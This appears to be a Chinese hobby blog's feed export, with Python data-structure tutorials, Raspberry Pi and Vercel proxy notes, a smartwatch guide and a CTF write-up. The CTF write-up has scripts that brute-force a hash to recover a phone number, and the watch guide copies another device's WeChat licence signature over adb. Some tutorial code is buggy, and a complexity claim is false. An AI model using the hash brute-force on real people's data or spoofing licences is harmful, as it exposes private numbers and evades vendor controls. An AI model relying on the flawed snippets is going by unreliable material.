if InputList[pos] in Origin and InputList[pos] != Origin[pos] and not InputList[pos] in CheckedList:
print(pos)
NumCount += 1
return NumCount

def getPosMatch(Input):
PosMatch = 0
InputList = Input.split(' ')
print(InputList, Origin)
for pos in range(length):
if InputList[pos] == Origin[pos]:
PosMatch += 1
return PosMatch


if __name__ == '__main__':
while True:
Input = input('Input: ')
if len(Input.split(' ')) == length and not any(Input.split(' ')): # any()一旦里面有一个不是0就会返回True
break
else:
Result = getOutput(Input)
print(Result)
]]>
+ + + + + Coding + + + + + + + Coding + + String + + + +
+ + + + + 从零开始的Python ACM Ch.3:队列、链表与二叉树 + + /posts/Go-for-Python-Ch3/ + +

队列

队列,跟现实中一样,遵循先进先出的原则FIFO,从尾巴进去,从头部出来

用列表模拟队列

1
2
3
4
5
6
7
8
9
10
11
class Queue:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[0]
del self.data[0]
return value

删除会比较慢(不如链表构建的队列),因为每次del都是一个完整的O(n)操作

用链表模拟队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class Node:
def __init__(self, value=None, next=None):
self.value = value
self.next = next

class Queue:
def __init__(self):
self.head = None

def enquen(self, value):
if not self.head: # 当头为空
self.head = Node(value) # 将头设置为新节点
return
tail: Node = self.head
while tail.next:
tail = tail.next
tail.next = Node(value)

def dequen(self):
value = self.head.value
self.head = self.head.next
return value

def size(self):
if not self.head:
return 0
count = 0
head = self.head
while head != None:
count += 1
head = head.next
return count

size还可以作为属性来写,更方便

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Node:
def __init__(self, value=None, next=None):
self.value = value
self.next = next

class Queue:
def __init__(self):
self.head = None
self.size = 0

def enquen(self, value):
if not self.head: # 当头为空
self.head = Node(value) # 将头设置为新节点
self.size += 1
return
tail: Node = self.head
while tail.next:
tail = tail.next
tail.next = Node(value)
self.size += 1

def dequen(self):
value = self.head.value
self.head = self.head.next
self.size -= 1
return value

例题:击鼓传花

一共有n个人玩击鼓传花小游戏,步数为p,问最后活下来的是谁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def game(persons: list, step: int):
last = -1
while len(persons) > 1:
last += step
last = last % len(persons)
del persons[last]
return persons[0]


print(game(list('ABCD'), 3))

'''
=== Output ===
A
'''

链表与二叉树

如图,用链表模拟二叉树

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class Node:
def __init__(self, value, next=None):
self.value = value
self.childs = []

def depth(self):
if not self.childs: # 没有孩子节点
return 1
return 1 + max([node.depth() for node in self.childs])

def iter_depth(self): # 深度优先
items = []
items.append(self.value)
for child in self.childs:
items.extend(child.iter_depth())
return items

def iter_width(self): # 广度优先
items = [self.value]
for child in self.childs:
items.extend(child.iter_width())
return items


root = Node(1)

for i in range(2,5):
root.childs.append(Node(i))

node: Node = root.childs[1]
for i in range(5,8):
node.childs.append(i)

node = root.childs[2]
for i in range(8,10):
node.childs.append(i)

node = root.childs[1][2]
for i in range(10, 12):
node.childs.append(i)

node = node[1]
node.childs.append(12)
]]>
+ + + + + Coding + + + + + + + Coding + + Queue + + + +
+ + + + + 从零开始的Python ACM Ch.2:时间复杂度、栈、面向对象及链表 + + /posts/Go-for-Python-Ch2/ + +

列表与字典的时间复杂度

列表的ls.append()复杂度是O(n),字典的插入dt['key'] = value的复杂度是O(1)。Python自带的字典排序ls.sort()复杂度是O(nlogn)(这个排序算法是用C语言写的,基本上自己在Python里面写的排序算法都没有它快

栈(Stack)

基本操作:

  • 压栈stack.append(element)
  • 出栈 del stack[-1]
  • 判断是否为空 len(stack) == 0

面向对象的Python编程

以栈对象为例

1
2
3
4
5
6
7
8
9
10
11
12
class Stack:
def __init__(self, x, y):# 构造类里面的函数,在每次实例化的同时会自动调用__init__函数
self.x = x
self.y = y
self.summary = x + y
s = Stack(3, 4)# 得到一个Stack类型的实例(实例化)
print(s.x, s.y, s.summary)

'''
=== Output ===
3 4 7
'''

更深一步,在对象里面定义对象的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Stack:
def __init__(self, x, y):# 构造类里面的函数,在每次实例化的同时会自动调用__init__函数
self.x = x
self.y = y

def summary(self):
return self.x + self.y

def reset(self):
self.x = 0
self.b = 0


s = Stack(3, 4) # 得到一个Stack类型的实例(实例化)
print(s.summary())

'''
=== Output ===
7
'''

例题

创建一个类型Rect(矩形),能执行以下代码

1
2
3
4
5
6
7
8
r1 = Rect(10, 20)
print(r1.width)# 10
print(r1.height)# 20
print(r1.area())# 200
print(r1.length())# 60

r2 = Rect(5, 6)
print(r2.area())

我的题解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Rect:
def __init__(self, width, height):
self.width = width
self.height = height

def area(self):
return self.width * self.height

def length(self):
return (self.width + self.height) * 2


r1 = Rect(10, 20)
print(r1.width)# 10
print(r1.height) # 20
print(r1.area()) # 200
print(r1.length()) # 60

r2 = Rect(5, 6)
print(r2.area())

'''
=== Output ===
10
20
200
60
30
'''

例题:使用列表模拟栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Stack:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[-1]
del self.data[-1]
return value

def isEnpty(self):
return len(self.data) == 0

对栈进行操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import random

class Stack:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[-1]
del self.data[-1]
return value

def isEmpty(self):
return len(self.data) == 0

if __name__ == '__main__':
stack = Stack()
for i in range(100):
stack.enquen(random.randint(0,100))
print(stack.data)
for i in range(10):
value = stack.dequen()
print(value, end=' ')
print('\n')
print(stack.data)

'''
=== Output ===
[3, 88, 78, 41, 28, 81, 33, 91, 86, 17, 57, 39, 17, 17, 98, 69, 65, 86, 83, 60, 67, 10, 95, 8, 66, 37, 10, 64, 41, 79, 39, 57, 32, 44, 62, 28, 32, 75, 41, 42, 87, 8, 7, 82, 85, 54, 2, 13, 96, 70, 1, 25, 47, 10, 75, 29, 92, 60, 29, 73, 24, 76, 5, 70, 62, 5, 85, 54, 25, 44, 37, 53, 11, 39, 25, 67, 37, 6, 99, 58, 97, 33, 26, 35, 50, 73, 48, 49, 16, 89, 2, 86, 28, 10, 89, 91, 1, 81, 9, 26]
26 9 81 1 91 89 10 28 86 2

[3, 88, 78, 41, 28, 81, 33, 91, 86, 17, 57, 39, 17, 17, 98, 69, 65, 86, 83, 60, 67, 10, 95, 8, 66, 37, 10, 64, 41, 79, 39, 57, 32, 44, 62, 28, 32, 75, 41, 42, 87, 8, 7, 82, 85, 54, 2, 13, 96, 70, 1, 25, 47, 10, 75, 29, 92, 60, 29, 73, 24, 76, 5, 70, 62, 5, 85, 54, 25, 44, 37, 53, 11, 39, 25, 67, 37, 6, 99, 58, 97, 33, 26, 35, 50, 73, 48, 49, 16, 89]
'''

例题:匹配括号

已知一串由小括号( )组成的字符串,试判断该字符串中的括号组合是否合法

我的题解(时间复杂度O(n^2),因为replace要先查找再替换,进行了两次遍历:

1
2
3
4
5
6
7
8
9
10
11
12
s = ()()()(((())))))()
result = -1

while True:
if "()" not in s:
result = False
break
if len(s) == 0:
result = True
break
s.replace('()','')
print(result)

优化版(利用栈的特性):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Stack:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[-1]
del self.data[-1]
return value

def isEmpty(self):
return len(self.data) == 0


s = '()()()(((())))))()'

if __name__ == '__main__':
result=-1
stack=Stack()
for c in s:
if c == '(':
stack.enquen('(')
else:
if stack.isEmpty():
result=False
break
stack.dequen()
result=stack.isEmpty()
print(result)

例题:匹配括号(升级版)

在上一题的基础上,括号不只有小括号了,还有中括号[]和花括号{},同样判断括号对是否合法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class Stack:
def __init__(self):
self.data = []

def enquen(self, value):
self.data.append(value)

def dequen(self):
value = self.data[-1]
del self.data[-1]
return value

def isEmpty(self):
return len(self.data) == 0


s = '()(((())))))){{}}}}[[]]]]]])'

if __name__ == '__main__':
result = -1
stack = Stack()
for c in s:
if c in "([{":
stack.enquen(c)
else:
if stack.isEmpty():
result = False
break
value = stack.dequen()
if (c == ')' and value == '(') or (c == ']' and value == '[') or (c == '}' and value == '{'):
pass
else:
result = False
break
result = stack.isEmpty()
print(result)

all()/any()的用法

官方说明

1
2
3
4
5
6
7
8
9
10
11
12
13
all()

Return True if bool(x) is True for all values x in the iterable.

If the iterable is empty, return True.

=========================================================================

any()

Return True if bool(x) is True for any x in the iterable.

If the iterable is empty, return False.

应用举例

1
2
3
4
5
6
7
8
9
dt = {1: 0, 2: 0, 3: 1}
print(all(dt.values()))
print(any(dt.values()))

'''
=== Output ===
False
True
'''

因为字典里面不全是1,在Python里面,1代表True,不全为1所以为False,但是对于any函数,里面一旦出现了True就返回True,所以这里是True

链表

链表里面的基本单位是结点(node),单链表只存储值和下一节点的位置,双链表保存到一个上一节点的位置

1
2
3
4
5
6
7
8
9
10
class Node:# 单链表
def __init__(self, value, next):
self.value = value
self.next = next

class Node:# 双链表
def __init__(self, value, prev, next):
self.value = value
self.next = next
self.prev = prev

用双链表模拟栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Node:# 双链表
def __init__(self, value, prev = None, next = None):
self.value = value
self.prev = prev
self.next = next

class Stack:
def __init__(self):
self.tail = None

def enquen(self, value):
node = Node(value)
node.prev = self.tail
if self.tail:
self.tail.next = node
self.tail = node

def dequen(self):
self.tail = self.tail.prev
if self.tail:
self.tail.next = None

def isEmpty(self):
self.tail == None
]]>
+ + + + + Coding + + + + + + + Python + + Coding + + Stack + + Class + + + +
+ + + + + 从零开始的Python ACM Ch.1:数据类型及基本数据处理 + + /posts/Go-for-Python-Ch1/ + +

基本数据类型

可迭代数据类型

通用操作:

  • 遍历
  • max
  • min
  • sum
  • len
  • 成员测试 in、not in

序列数据类型

通用操作:

  • 索引
  • 切片
  • index
  • count
  • 同类型加法拼接
  • 整数乘法重复

字符串

不可变数据类型(对字符串的所有修改操作,都是返回一个新的字符串)

特有操作:

  • s.upper()
  • s.lower()
  • s.replace(sub1, sub2)
  • s.join(Iterable[str])
  • s.format()
  • s.split(c)

元组

不可变数据类型,基本是拿来用索引,或者切片

列表

可变数据类型

特有操作:

  • 通过索引进行修改

  • 通过切片进行修改

  • ls.append(x)

  • del ls[i] i为元素索引

  • ls.remove(x) x为元素值

  • ls.extend(lt2)

  • ls.insert(i, x)

  • ls.reverse()

  • ls.clear()

  • 列表表达式

集合 & 字典

集合中的元素、字典的键 都必须为不可变数据类型,不能重复

如果直接对字典进行for循环的遍历,那么出来的是字典的键

集合的特有方法:

  • s.pop() 弹出集合s中的一个元素
  • s.add(x) 将x添加到集合s中
  • s.remove(x) 删除集合s中的元素x,x不存在则出错
  • s.discard(x) 删除集合s中的元素x,x不存在不出错
  • s.update(t) 将集合t合并到集合s中
  • s.clear() 清空集合s
  • s-t 差集
  • s&t 交集
  • s|t 并集
  • s^t 并集减去交集
  • s.isdisjoint(t) 判断是否相交 比较操作 判断包含关系

字典的特有方法:

  • 通过键进行索引

  • d.keys() 所有键的迭代器

  • d.values() 所有值的迭代器

  • d.items() 所有键值对的迭代器

  • d.get(key, default) 如果key存在,返回d[key],否则返回default

  • d.pop(key, default) 返回 d.get(key, default) 并不出错的删除key

  • d.popitem()

  • d.update(d2)

列表表达式

一般我们使用的列表长这样

1
ls = [123,456,789,0]

但是Python里面有个东西叫做列表表达式,例如

1
ls1 = [i for i in range(0,100)]

这会生成一个带有0-99的int数据类型的列表,非常简洁

列表的排序

一般来说,你自己在Python里面写的对列表进行排序的函数,都不如内置的list().sort(*, key=key, reverse=False)要快,谁让人家是C语言写的排序呢……

但是list().sort()有个坑,我前两天帮人数学建模的时候还是踩进了这个坑,就是:这个方法是直接作用于列表本身,没有返回值的,所以进行赋值的时候就会变成none

例题1

下面的列表a是人物的名字,b是他们对应的年龄,请输出18岁以下的人物并根据他们的年龄进行升序排列

1
2
a = ['tom', 'iron man','jerry', 'donald', 'micky', 'spider man']
b = [3, 32, 1, 8, 2, 19]

我的做法是用多一个列表,往里面用元组的形式填他们的名字以及年龄信息

1
2
3
4
5
6
7
ls = []

for i in a:
pos = a.index(i)
age = b[pos]
if age < 18:
ls.append((i,age))

ls进行打印,得出这样的一个列表

1
[('tom', 3), ('jerry', 1), ('donald', 8), ('micky', 2)]

再通过sort函数和lambda表达式进行排序,对所需要的东西进行打印

1
2
3
ls.sort(key=lambda x: x[1])
for i in ls:
print(i[0])

输出为

1
2
3
4
jerry
micky
tom
donald

但是经过教员的提醒,还有个zip()函数可以直接把两个列表中的对应位置的元素合在一起变成元组

1
items = list(zip(a,b))

这样做的结果跟上面的ls的结果是一样的

然后再在列表表达式里面筛选,两步可以合在一起

1
2
3
items = [item for item in list(zip(a,b)) if item[1] < 18]
for i in items:
print(i[0])

启示:少用字典,筛选放在后面去

例题2

2089. 找出数组排序后的目标下标 - 力扣(LeetCode)

我的题解:

1
2
3
4
5
6
7
8
class Solution:
def targetIndices(self, nums: List[int], target: int) -> List[int]:
nums.sort()
result = []
for i in range(0,len(nums)):
if nums[i] == target:
result.append(i)
return result

优化版(因为找到了以后,再往后就不存在要找的了,所以可以直接break掉)

1
2
3
4
5
6
7
8
9
10
11
class Solution:
def targetIndices(self, nums: List[int], target: int) -> List[int]:
nums.sort()
result = []
found = False
for i in range(0,len(nums)):
if nums[i] == target:
result.append(i)
if nums[i] != target and found:
break
return result

例题3

2215. 找出两数组的不同 - 力扣(LeetCode)

我的题解:

1
2
3
4
5
6
7
8
9
10
class Solution:
def findDifference(self, nums1: List[int], nums2: List[int]) -> List[List[int]]:
answer = [[],[]]
for i in nums1:
if i not in nums2 and i not in answer[0]:
answer[0].append(i)
for i in nums2:
if i not in nums1 and i not in answer[1]:
answer[1].append(i)
return answer

优化版(找不同的可以用集合去做):

1
2
3
4
5
6
7
8
class Solution:
def findDifference(self, nums1: List[int], nums2: List[int]) -> List[List[int]]:
s1 = set(nums1)
s2 = set(nums2)
answer = [[],[]]
answer[0] = list(s1-s2)
answer[1] = list(s2-s1)
return answer

例题4

599. 两个列表的最小索引总和 - 力扣(LeetCode)

我的题解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Solution:
def findRestaurant(self, list1: List[str], list2: List[str]) -> List[str]:
lovedRest = []
for i in list1:
if i in list2:
indexSum = list1.index(i) + list2.index(i)
lovedRest.append((i,indexSum))
lovedRest.sort(key=lambda x: x[1])
result = []
result.append(lovedRest[0][0])
for i in range(1,len(lovedRest)):
if lovedRest[i][1] == lovedRest[0][1]: result.append(lovedRest[i][0])
else: break
return result

enumerate(list)在遍历的过程中出现index, value的返回值,可以在for循环使用,例如

1
2
3
...(上面已经定义了ls为列表)
for i, value in enumerate(ls):
pass

所以上面这一题也可以改一改,用这个方法可以免去用ls.index()的麻烦

例题5

2200. 找出数组中的所有 K 近邻下标 - 力扣(LeetCode)

我的题解(OT了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Solution:
def abs(num):
if num < 0:
return num*-1
else: return num
def findKDistantIndices(self, nums: List[int], key: int, k: int) -> List[int]:
keyPos = [i for i in range(0,len(nums)) if nums[i] == key]
result = []
for pos in keyPos:
for i in range(0,len(nums)):
if abs(i-pos)<=k and i not in result: result.append(i)
else: pass
result.sort()
return result

优化版:

思路是从i所在位置往左往右k个位置是否有key,如果有的话就进行计算,没有就跳过,省去了很多遍历

1
2
3
4
5
6
7
class Solution:
def findKDistantIndices(self, nums: List[int], key: int, k: int) -> List[int]:
result = []
for i in range(len(nums)):
if key in nums[max(0,i-k):i+k+1]:
result.append(i)
return result

列表的空间

列表在内存中是连续的,但是如果要用申请的空间之外的地方的话(即加长列表)就要再次申请,会减慢运行,所以可以先申请一大片空间

1
ls = [0]*1000
]]>
+ + + + + Coding + + + + + + + Python + + Coding + + datatype + + + +
+ + + + + 使用Python和Qt5来制作带有GUI的程序(持续更新) + + /posts/Making-GUI-with-PyQt5/ + +

我还是向我不熟悉的领域发起了挑战——制作GUI

印象中我做GUI只有在MIT App Inventor (gzjkw.net)Visual Basics里面做过(下图为以前拿去参赛的作品,获得了省三),而且VB很久都没用过了

这回主要是创新项目的需要,要做一个带有GUI的附属程序,所以我研究起了怎么做GUI

我用的是比较知名的Qt5这个东西(本来还尝试过dearpygui Tkinker pygame之类的,但是因为感觉太繁琐了就不用了)

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + Raspberry 4B 折腾记录(持续更新) + + /posts/Raspberry-4B-Log/ + +

烧录系统

我用的是balenaEtcher这个软件(别问为什么,问就是好看),比起Win32DiskImager和Rufus来说更好用一点(个人感觉)

(↓没插读卡器所以用磁盘代替一下,千万别写入磁盘!)

对ext4格式的存储介质进行写入

我用的是DiskGenius,但是不知道为什么在我的电脑上打开会提示这个……

Err: NTLEAS may be lost connection with hook process.

我这个用的是5.1.1的中文专业版(免费版不能对ext4格式进行写入),因为打不开所以我去换了个版本。

从网上下了个5.2.0.884就好了,就,很奇怪,估计是这个版本的问题。

重装Kali Linux后在无屏幕的条件下自动连接WIFI(未解决)

这个我在网上找了很多方法,但是我发现很多他们都是用的树莓派自己的Debian衍生系统,用的不是Kali,这个方法用在Kali上等于无效……

直到我发现了这几个

树莓派 kali Linux 开机自动连接WiFi (bash 脚本)_yayaleII的博客-CSDN博客_kali自动连接wifi

kali(64位)在树莓派4B的安装配置_CTQ54250的博客-CSDN博客

我尝试了一下,但是说白了,还是没解决……

使用屏幕键盘

1
sudo apt install matchbox-keyboard

在Raspberry Pi上

1
matchbox-keyboard

通过SSH

1
DISPLAY=:0 matchbox-keyboard &

该命令将加载Raspberry Pi上的屏幕键盘软件。

在树莓派上安装RDP服务

使用Har-Kuun/OneClickDesktop: A one-click script that installs a remote desktop environment on a Linux server with browser/RDP/VNC access. (github.com)

直接运行,但是在shell脚本里面需要把OS检查关掉(如果你像我一样用的是Kali)

1
2
3
4
5
#此脚本仅支持Ubuntu 18/20, Debian 10, 以及CentOS 7/8.
#如果您试图再其他版本的操作系统中安装,可以在下面禁用OS检查开关。
#请注意,在其他操作系统上安装此脚本可能会导致不可预料的错误。 请在安装前做好备份。

OS_CHECK_ENABLED=OFF

安装时可能会遇到依赖环境未安装的情况,直接用apt安装就行了

libpng

1
sudo apt install libpng-dev -y

libjpeg

1
sudo apt install libpng-dev -y

Cairo

1
sudo apt install libcairo2 libcairo2-dev -y

OSSP UUID

1
sudo apt install libossp-uuid-dev -y

无法编译

因为OpenSSL升级到3.0.0然后不支持,所以直接降级回去就行了

默认是OpenSSL 1.1.1m,所以建议先编译完再升级(没事别sudo apt upgrade -y

]]>
+ + + + + IoT + + + + + + + IoT + + Raspberry + + + +
+ + + + + 2022网鼎杯青龙组——个人WriteUP + + /posts/CTF-20220826-wangdingcup-qinglong/ + +

签到

没啥技术含量,求助于万能的 百度 Bing

crypto091

小A鼓起勇气向女神索要电话号码,但女神一定要考考他。女神说她最近刚看了一篇发表于安全顶会USENIX Security 2021的论文,论文发现苹果AirDrop隔空投送功能的漏洞,该漏洞可以向陌生人泄露AirDrop发起者或接收者的电话号码和电子邮箱。小A经过一番努力,获得了女神手机在AirDrop时传输的手机号哈希值,但再往下就不会了,你能继续帮助他吗?小A只记得女神手机号是170号段首批放号的联通号码。

Hash:c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc

flag格式:flag{13位电话号码(纯数字,含国家代码)}

  • 170号段首批放号的联通号码:1709
  • 限定做法:Hash爆破
  • Hash为64位,因此Hash的计算方法是sha256
1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
prefix = '861709' # 联通首批放号的电话号码头
compare_hash = 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc'
result = 0
for i in range(0,10000000):
to_hash = prefix+'{:0>7}'.format(str(i))# 这么写主要是为了构造电话号码的格式
to_compare_hash=hashlib.sha256(to_hash.encode()).hexdigest()
print(to_hash, to_compare_hash)
if to_compare_hash == compare_hash:
result = prefix+str(i)
break
print(result)

Hash爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
from itertools import permutations
import string
salt = input('salt: ')
target = input('target: ')
ls = string.ascii_letters + string.digits
res = permutations(ls,4)
result = 'empty'
for _ in res:
XXXX = _[0]+_[1]+_[2]+_[3]
to_hash = XXXX+salt
if hashlib.sha256(to_hash.encode()).hexdigest() == target:
result = XXXX
break
print(result)

用于解决题目提示XXXX + 一串salt == Hash值的开头问题,因为已经很多次遇到这种问题了,所以写了个脚本来爆破,只需要输入对应的salt和hash就可以解出来

]]>
+ + + + + CTF + + + + + + + CTF + + Crypto + + Hash + + + +
+ + + + + Ticwatch Pro 3 使用体验报告 + + /posts/Ticwatch-pro-3-experience/ + +

最近因为游泳,带着我的小米手环6,结果第二天游泳下来发现,它的屏幕不好使了,有鬼触的现象,于是就想换一块表

因为身边用OPPO Watch 2的人比较多,我又不想跟他们用一样的东西,于是我另辟蹊径,找其他的表

一开始看到米表,但是据说配置拉胯,就不考虑了,然后看到了出门问问家的Ticwatch pro 3,这是一个搭载着Google WearOS的智能手表,不过当然有着中国化的成分(指删除大量谷歌服务)

跟鱼子市场的卖家进行大量沟通后,我以合适的价格拿下了这块表

接着就开始折腾了,拿到手是一块啥东西都没设置的新表,会进入“新手引导”模式,我也是花费了一定的时间才弄好


折腾环节

按下右上方的按键就可以打开启动器,从启动器打开软件

从应用商店安装软件

官方的应用商店就跟App Store一样,一键下载安装就行,其实没啥难度,这里就附几张图吧

使用adb安装软件

使用计算机从adb安装软件

这个要求打开adb,跟手机的开启方法一样,连续点击版本号开启开发者选项,然后在开发者选项里面找到adb调试,把它和通过WLAN调试都打开

让手表和电脑连到同一个WIFI,查看手表的IP地址,接着电脑输入adb connect <ip>就可以连接到手表了,然后使用adb install <apk>就能安装软件了

使用第三方应用商店安装软件

这里我用了一个叫做唯趣应用商店的东西(官网:唯趣应用商店 - 下载 (etralab.top)),本质也是用adb的,因为手表的软件包管理被阉割了,所以我们只能通过adb来装东西

这是一个手表上的应用商店,找到自己想要的软件直接下载安装就行了

使用微信儿童手表版

为什么我要单开一个标题给这个内容,因为自带的绿色微信需要连接手机同步使用,这就违背了我用它的理念,我就是要脱离手机使用

隔壁OPPO Watch可以使用微信手表版,但是TWP3不支持,因为微信没有给LICENSE给TWP3,那就只能借用LICENSE了

我借了块OPPO Watch来提取它的LICENSE,首先打开OW的adb调试,连接到电脑

然后输入以下命令来获取LICENSE

1
adb shell settings list global

(图为TWP3的配置,因为忘记截图了,然后我已经放进去了,就直接拿来顶替了)

我们找到以下内容,把这些内容先保存起来

字段类型名字相关作用
intilink_product_id产品id
intilink_key_version版本
intilink_supportilink_support =1表示手表支持运行微信
stringilink_device_id设备id
Stringilink_device_signature验证签名

然后连接到TWP3,使用命令来写入配置

1
2
3
4
5
adb shell settings put global ilink_device_id "device_id"
adb shell settings put global ilink_device_signature "device_signature"
adb shell settings put global ilink_key_version "1"
adb shell settings put global ilink_product_id "xxxx"
adb shell settings put global ilink_support "1"

写入后,再次打开微信儿童版就可以扫码登录使用了

使用体验

优点

带有ESIM确实可以脱离手机使用,还可以刷一刷B站(用腕上哔哩),看看新闻啥的,特别符合我现在的状态。有的时候跟群友用QQ吹水或者用微信跟我妈聊会天,完全OK

缺点

圆屏毕竟不是OW的方屏,很多手机的APP装上TWP3后会因为屏幕的限制而变得无法使用(如Outlook),而且TWP3阉割了Android Webview组件,导致很多东西用不了(直接闪退,例如在QQ邮箱阅读邮件)

另外,没有闪充,充电很慢,而且配的线是2PIN的,手表有4个金属触点,换言之就是没有数据传输功能(晚点自造线去)

总结

总的来说,使用体验跟价格是匹配的,能够满足我的日常需求,但你要问我推不推荐购买,我只能说现阶段OW3可能更好一些

]]>
+ + + + + Diary + + + + + + + Diary + + Ticwatch + + adb + + + +
+ + + + + 日常吐槽10:我的域名被停止解析了 —— 一段时间 + + /posts/diary10/ + +

这件事还得从群里的兄弟那里说起(右图)

主要是我这边没办法用个人身份备案,然后有些东西没有备案就很恼人,尤其是最近收到的Leancloud国际版不对大陆用户提供服务的通知

这就搞得没备案会让我陷入被动(特别是在某些服务上面),那没办法啦,既然有能够弄企备的方法,那就去弄一个吧

然后我就找上门了,就像下面这样

然后我就开始等待了,按照对面的说法我前面还有一个人,然后备案要等14-30天

结果某一天,别人告诉我服务炸了

然后我就去排查,看我的腾讯云上TS正在正常运行,但是就是连不到

与此同时,我的MC服务器也连接不到了,但是BungeeCord还在正常运行

我就猜是不是域名解析掉了,我就去问备案那边,他说确实是

那有啥办法嘛,只能等了呗

我就把我的必要服务开了第二个域名,例如我的BLOG开在了https://blog.ninym.top上面,前几天做的hexo域名检测工具开在了https://linkcheck.ninym.top

然后把部分Github仓库涉及到文档在我的网站上的加一条备用文档链接,然后陷入无尽的等待……

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + Vercel搭建反向代理 + + /posts/vercel-reverse-proxy/ + +

首先你需要安装一下vercel的命令行工具,使用npm进行安装(需要安装nodejs,没安装的自己去下一个)

1
npm i -g vercel

当然你也可以用cnpm安装

1
cnpm i -g vercel

安装完后可以使用vercel -v来看看是否安装成功了

1
2
3
vercel -v
>> Vercel CLI 24.2.4
>> 24.2.4

接着把下面这些内容复制到一个json文件里面

1
2
3
4
5
6
{
"version": 2,
"routes": [
{"src": "/(.*)","dest": "https://bili33.top/$1"}
]
}

其中,我的域名那里可以改成你想要反代的网站的域名,例如填写cdn.jsdelivr.net,就可以按照jsdelivr的格式去使用它的CDN,例如

1
2
3
4
5
6
7
8
9
10
{
"version": 2,
"routes": [
{"src": "/(.*)","dest": "https://cdn.jsdelivr.net/$1"},
{"src": "/","dest": "https://bili33.top"}
],
"redirects": [
{"src": "/npm/(.*)", "destination": "http://127.0.0.1"}
]
}

这里redirects是访问特定的route的时候进行重定向,可以达到禁止访问的目的(但是实测好像并不太行)

更多关于json文件的适用方法,可以参照https://vercel.com/docs/project-configuration

写完json文件以后,就开始对vercel的cli进行验证,使用vercel login进行登录

1
2
3
4
5
6
7
8
9
10
vercel login
Vercel CLI 24.2.4
> Log in to Vercel (Use arrow keys)
> Continue with GitHub
Continue with GitLab
Continue with Bitbucket
Continue with Email
Continue with SAML Single Sign-On
─────────────────────────────────
Abort

按上下键可以选择登录方式,我就直接用Github登录了,会返回一个登录地址,可以直接在浏览器打开

登录完成后会像我下面这个这么提示

1
2
3
4
5
6
vercel login
Vercel CLI 24.2.4
> Log in to Vercel github
> Success! GitHub authentication complete for <your email>
Congratulations! You are now logged in. In order to deploy something, run `vercel`.
💡 Connect your Git Repositories to deploy every branch push automatically (https://vercel.link/git).

接着我们对刚刚的json文件进行部署,使用下面的命令即可

1
vercel -A <name>.json --prod

这里的json的文件名要指定为你刚刚设置的文件,--prod是推入生产环境,按照提示输入就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
vercel -A <name>.json --prod
Vercel CLI 24.2.4
❗️ Your Project was either deleted, transferred to a new Team, or you don’t have access to it anymore.
? Set up and deploy “<your folder>”? [Y/n] y
? Which scope do you want to deploy to? <your username or team>
? Link to existing project? [y/N] n
? What’s your project’s name? vercel-json
? In which directory is your code located? ./
No framework detected. Default Project Settings:
- Build Command: `npm run vercel-build` or `npm run build`
- Output Directory: `public` if it exists, or `.`
- Development Command: None
? Want to override the settings? [y/N] n
🔗 Linked to <user/project> (created .vercel)
🔍 Inspect: <Your inspect link> [961ms]
✅ Production: <Your production link> [copied to clipboard] [10s]

部署完后你就可以在Vercel中找到,并进行配置了

]]>
+ + + + + Tech + + + + + + + Tech + + Proxy + + Vercel + + + +
+ + + + + CSGO国服反和谐教程 + + /posts/CSGO-Anti-LowViolence/ + +

其实这个东西非常简单,稍微翻一下文件就可以发现完美的操作了

先打开Steam,右键CSGO,选择属性,在左边的本地文件里面选择浏览

这会打开你的CSGO游戏文件夹,打开csgo文件夹,稍微翻一下就可以发现开头为pakxv的几个文件,有很明显的audiochinese perfectworld lowviolence字样,把它们删了就好了

注:每次CSGO更新都要进行这个操作!

]]>
+ + + + + Games + + + + + + + Games + + CSGO + + AntiLowViolence + + PerfectWorld + + + +
+ + + + + SteamAutoQueue —— Steam自动探索3次队列,帮你拿到促销期间的卡牌! + + /posts/SteamAutoQueue-Manual/ + +

其实这个我从夏促前就开始写了,只不过刚好那一周撞上各种考试,所以就保证了本地Windows版本的正常运行,Linux的就没动,等到周末再干的时候夏促已经开始了……

为啥我要做这个?主要是学生党又不是天天开电脑,像TemperMonkey的那种自动探索队列的脚本或者是Steam++里面带的那个,都要打开电脑,再去打开浏览器或者是Steam,所以我就做了一个这个不需要打开任何东西的。

因为完成太晚了,所以等到冬促的时候我再去推广吧,要是有哪位大哥愿意帮我推广的尽管发就行了,发完了站内艾特一下我~

先点个STAR✨,我们马上开始教学!

简体中文

变量获取

